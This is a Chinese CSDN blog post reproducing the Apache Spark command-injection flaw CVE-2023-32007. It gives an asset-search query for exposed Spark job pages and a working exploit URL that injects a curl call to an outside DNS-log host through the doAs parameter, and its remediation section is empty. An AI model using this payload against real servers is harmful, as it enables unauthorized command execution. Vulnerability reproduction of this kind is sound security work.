Apache Spark远程代码执行漏洞(CVE-2023-32007)漏洞复现

最新推荐文章于 2024-04-25 10:06:49 发布
最新推荐文章于 2024-04-25 10:06:49 发布
阅读量1k 收藏
点赞数
分类专栏： 网络安全 web安全 渗透测试 漏洞复现 文章标签： apache spark 大数据 网络安全 web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/u010025272/article/details/132475334
版权

漏洞描述

Apache Spark是美国阿帕奇（Apache）基金会的一款支持非循环数据流和内存计算的大规模数据处理引擎。

Apache Spark 3.4.0之前版本存在命令注入漏洞，该漏洞源于如果ACL启用后，HttpSecurityFilter中的代码路径可以允许通过提供任意用户名来执行模拟，这将导致任意shell命令执行。

免责声明

技术文章仅供参考，任何个人和组织使用网络应当遵守宪法法律，遵守公共秩序，尊重社会公德，不得利用网络从事危害国家安全、荣誉和利益，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责。本文所提供的工具仅用于学习，禁止用于其他！！

资产确定

app="APACHE-Spark-Jobs"

漏洞复现

http://ip:port/jobs/?doAs=curl+5fyjku.dnslog.cn
在这里插入图片描述
在这里插入图片描述

修复方案

丢了少年失了心1
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论
专栏目录
订阅专栏
CVE-2023-40477 WinRAR 远程代码执行漏洞 PoC
09-02
WinRAR 拥有超过 500 亿用户，面临新漏洞（CVE-2023-40477、CVE-2023-38831）。 今天，我们首次展示：CVE-2023-40477 的 PoC。 尽管 RCE 被认为是可利用的，但由于多种原因，其在实现过程中看起来并不乐观。 我们在...
【漏洞复现】Apache Spark 未授权访问漏洞
做自己喜欢的事，并将其发挥到极致！
08-31 3858
Apache Spark 未授权访问漏洞，详情请点击内容进入......
CVE-2023-32233 Linux kernel
sash1mi
05-16 1715
近日，研究人员发现了Linux内核的NetFilter框架中的新漏洞（CVE-2023-32233）。该漏洞可被本地用户用于将权限提升为root，并完全控制系统。问题的根源在于是如何处理批处理请求的，经过身份验证的本地攻击者可通过发送特制的请求破坏的内部状态，从而获得更高权限。该漏洞影响多个Linux内核版本，包括当前的稳定版本v6.3.1。漏洞原文。
Windows DNS 欺骗漏洞CVE-2023-32020、kb5027271此更新不适用于你的计算机解决方案
CSDNnian的博客
07-11 820
操作系统：WindowsServer 2012R2漏洞名称：Windosw DNS 欺骗漏洞 CVE-2023-32020下载的更新包：kb5027271。
CVE-2022-33891 Apache Spark 命令注入漏洞复现
热爱学习，喜欢折腾！
08-30 1078
Spark 是用于大规模数据处理的统一分析引擎。它提供了 Scala、Java、Python 和 R 中的高级 API，以及支持用于数据分析的通用计算图的优化引擎。Apache Spark UI 可以设置选项 spark.acls.enable 启用 ACL ，使用身份验证过滤器。用以检查用户是否具有查看或修改应用程序的访问权限。如果启用了 ACL则 HttpSecurityFilter 中的代码路径可以允许用户通过提供任意用户名来执行命令。............
2023HW护网100+个漏洞poc
Yb528970805的博客
09-19 2902
20 . Metabase validate 远程命令执行漏洞CVE-2023-38646。13 . HiKVISION 综合安防管理平台 files 任意文件上传漏洞 POC。3 . Adobe ColdFusion 反序列化漏洞CVE-2023-29300。25 . Panabit iXCache网关RCE漏洞CVE-2023-38646。65 . 泛微E-Office9文件上传漏洞 CVE-2023-2523 POC。66 . 泛微E-Office9文件上传漏洞 CVE-2023-2648 POC。
OpenSSH 安全漏洞(CVE-2023-51385) 升级v9(1)，2024年最新网络安全面试基础知识
芯_v_648374雨馨博客
04-18 365
检查相应配置文件后，还原备份文件（可选）
Weblogic反序列化漏洞原理分析及漏洞复现(CVE-2018-2628/CVE-2023-21839复现)
rumil的博客
09-19 4288
WebLogic 存在远程代码执行漏洞（CVE-2023-21839/CNVD-2023-04389），由于Weblogic IIOP/T3协议存在缺陷，当IIOP/T3协议开启时，允许未经身份验证的攻击者通过IIOP/T3协议网络访问攻击存在安全风险的WebLogic Server，漏洞利用成功WebLogic Server可能被攻击者接管执行任意命令导致服务器沦陷或者造成严重的敏感数据泄露。远程方法调用，除了该对象本身的虚拟机，其它的虚拟机也可以调用该对象的方法。
探索CVE-2023-42820：一款强大的安全研究与防护工具
gitblog_00039的博客
04-21 305
探索CVE-2023-42820：一款强大的安全研究与防护工具 项目地址:https://gitcode.com/C1ph3rX13/CVE-2023-42820 在网络安全领域，及时发现和应对漏洞至关重要。CVE-2023-42820 是一个开源项目，旨在帮助开发者、安全研究员以及IT管理员识别并修复特定的安全漏洞。本文将深入探讨该项目的技术细节、应用场景及特点。 项目简介 CVE-2023-4...
OPTEE安全通告之CVE-2023-41325（Double free in shdr_verify_signature）
security²-卢鸿波-安全二次方
11-13 1808
一、受影响版本 二、漏洞描述 三、问题触发 四、官方Patch修复 五、参考 六、OP-TEE ID 七、报告团队 八、时间线
探索CVE-2023-38831 WinRAR漏洞利用工具：技术解析与应用
最新发布
gitblog_00090的博客
04-25 397
探索CVE-2023-38831 WinRAR漏洞利用工具：技术解析与应用 项目地址:https://gitcode.com/b1tg/CVE-2023-38831-winrar-exploit 项目简介 在软件安全领域，漏洞是不可避免的问题。CVE-2023-38831 是一个针对流行压缩软件WinRAR的最新安全漏洞，该漏洞允许攻击者通过特制的RAR文件进行远程代码执行。此项目是由b1tg开发...
CVE-2023-38831 WinRAR 远程代码执行漏洞 0Day PoC
08-25
CVE-2023-38831 漏洞位于ZIP文件的处理过程，攻击者可以制作恶意.ZIP或.RAR压缩文件，其中包含无害文件（例如.jpg、.txt或PDF文件等）及恶意执行文件，并以无害文件名为文件夹命名。当用户点击并试图解压缩看似合法...
CVE-2020-13925 Apache Kylin 远程命令执行漏洞.md
04-12
CVE-2020-13925 Apache Kylin 远程命令执行漏洞
CVE-2023-2766：泛微E-Office信息泄露漏洞复现 [附POC]
薛定谔嘚喵博客
11-14 1552
Weaver E-Office 9.5版本存在configfile存在信息泄露。攻击者利用该漏洞可以访问文件或目录。
Spring Security注销后未正确保存空的SecurityContext漏洞CVE-2023-20862
日拱一卒无有尽，功不唐捐终入海
08-30 1831
背景：公司项目扫描到 Spring-security 组件 注销后未正确保存空的SecurityContext CVE-2023-20862Spring Security是一个功能强大且高度可定制的身份验证和访问控制框架。它是保护基于Spring的应用程序的实际标准。Spring Security提供了一套完整的安全性解决方案，是构建安全性强的企业级应用程序的理想选择。
警惕！GitLab身份认证绕过漏洞(CVE-2023-4998)风险通告
亚信安全官方账号的博客
11-13 1092
近日，亚信安全CERT监控到GitLab 官方披露CVE-2023-4998 Gitlab越权调用pipelines漏洞，鉴于该漏洞受影响面较大，建议使用Gitlab用户尽快采取相关措施。做好资产自查以及预防工作，以免遭受黑客攻击。
漏洞分析|Adobe ColdFusion 反序列化漏洞（CVE-2023-29300）
xuandaoren的博客
11-10 1617
对于 ColdFusion 来说，WDDX 中的每个元素都是一个WddxElement，不同的元素对应着不同的Handler处理类，例如<string>标签中的元素与属性将由StringHandler处理，<struct>标签会由StructHandler处理。分析findAttribute()方法可知，参数为url.xxx表示从请求的 URL 中获取xxx的参数值，form.yyy表示从上传的表单中获取yyy的参数值。.wddx.DeserializerWorker.java文件中的显着变化。
Apache Shiro 目录穿越漏洞 CVE-2023-34478
07-29
很抱歉，但我没有找到关于Apache Shiro目录穿越漏洞CVE-2023-34478的相关信息。根据我所了解的情况，Apache Shiro在2022年6月29日披露了一个权限绕过漏洞（CVE-2022-32532），该漏洞可能导致未经授权的远程攻击者绕过身份认证。Apache官方已发布修复此漏洞的版本，并建议用户尽快升级至Apache Shiro 1.9.1及以上版本以确保安全。\[1\]\[2\]\[3\] 请注意，我的回答是基于提供的引用内容，如果有任何其他信息或更新，请参考官方渠道获取最新信息。 #### 引用[.reference_title] - *1* *3* [[ 漏洞复现篇 ] Apache Shiro 身份认证绕过漏洞 (CVE-2022-32532)](https://blog.csdn.net/qq_51577576/article/details/126155240)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* [Apache Shiro权限绕过漏洞（CVE-2022-32532）](https://blog.csdn.net/weixin_54438700/article/details/128324850)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

丢了少年失了心1

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值